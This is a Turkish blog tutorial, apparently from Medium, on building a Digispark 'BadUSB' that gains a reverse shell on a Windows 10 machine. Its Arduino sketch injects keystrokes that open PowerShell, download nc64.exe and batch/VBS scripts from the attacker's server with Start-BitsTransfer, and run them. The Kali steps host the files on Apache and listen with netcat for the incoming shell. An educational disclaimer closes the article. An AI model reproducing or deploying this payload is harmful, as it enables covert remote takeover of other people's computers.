Win10 İçin Local Ağda Digispark İle Shell Reverse Connection Çalıştırmak (Detaylı Anlatım)

Erenmkoc
2 min readJul 5, 2020

Ben bu anlatımda Digispark kullanacağım.

https://urun.n11.com/arduino-urunleri-ve-setleri/digispark-attiny85-usb-gelistirme-karti-P248811368 ben buradan sipariş verdim ve çok memnun kaldım fiyatları ortalama 30–40tl civarı.

Bu ürünü aldıktan sonra arduino 1.8 versiyonunu indirmeniz ve bunu digisparka entegre etmeniz gerekmektedir.

Arduino’yu buradan indirebilirsiniz https://www.arduino.cc/en/Main/Software .

Şimdi gelelim kendi ağımızdaki Win10 bilgisayara ters bağlantı ile ele geçirmeye.Ben Kali’nin Linux sürümünü kullanıyorum.

Adım.1

#define kbd_tr_tr
#include “DigiKeyboard.h”

void setup() {
// put your setup code here, to run once:

}

void loop() {
// put your main code here, to run repeatedly:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.print(“powershell”);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(“Start-BitsTransfer http:/*BURAYA EXE DOSYASININ İNDİRİLECEĞİ IP ADRESİNİ YAZIYORUZ*/nc64.exe nc64.exe”);
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(“Start-BitsTransfer http://*BURAYA BAT DOSYASININ İNDİRİLECEĞİ IP ADRESİNİ YAZIYORUZ*/start.bat start.bat”);
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(“Start-BitsTransfer http://*BURAYA VBS DOSYASININ İNDİRİLECEĞİ IP ADRESİNİ YAZIYORUZ*/start.vbs start.vbs”);
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(“exit”);
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(250);
DigiKeyboard.print(“start.vbs”);
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_ENTER);

for (;;) {
/*Stops the digispark from running the scipt again*/
}
}

Adım.2

Bu yazıyı gördükten sonra hemen digispark Usb’imizi çıkarmamız gerekiyor.Aksi takdirde digispark’a verdiğimiz komutları hemen işleme koyacaktır.

Adım.3

Kodları düzenlemeye ve bir kaç küçük değişiklik yapmaya.

Ben linux’daki apache server üzerinden yayın yapacağım. O yüzden kendi apache2 serverımın ip adresini giriyorum.

start.bat dosyasını leafpad yardımıyla açıp buraya kendi Linux’umuzun local ip adresini giriyoruz ve kaydediyoruz.

nc64.exe, start.bat, start.vbs dosyalarını file system -> var -> www -> html klasörüne atıyoruz.

Adım.4

Ardından kali linux terminalinde service apache2 start komutuyla apache serverımızı online hale getiriyoruz.

Adım.5

Kali linux’umuzda nc -lvp 8181 portumuzu dinlemeye alıyoruz.

Geriye kalan tek şey ise biz linuxumuzda portumuz dinlerken kurdan pc’ye hazırladığımız badusb’yi takmak ve bağlantının gelmesini beklemek.

Not :Bu makale eğitim ve bilgilendirme amacıyla hazırlanmıştır. Oluşan herhangi bir hukuki sorunda mesuliyet kabul edilmez.

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

No responses yet

Write a response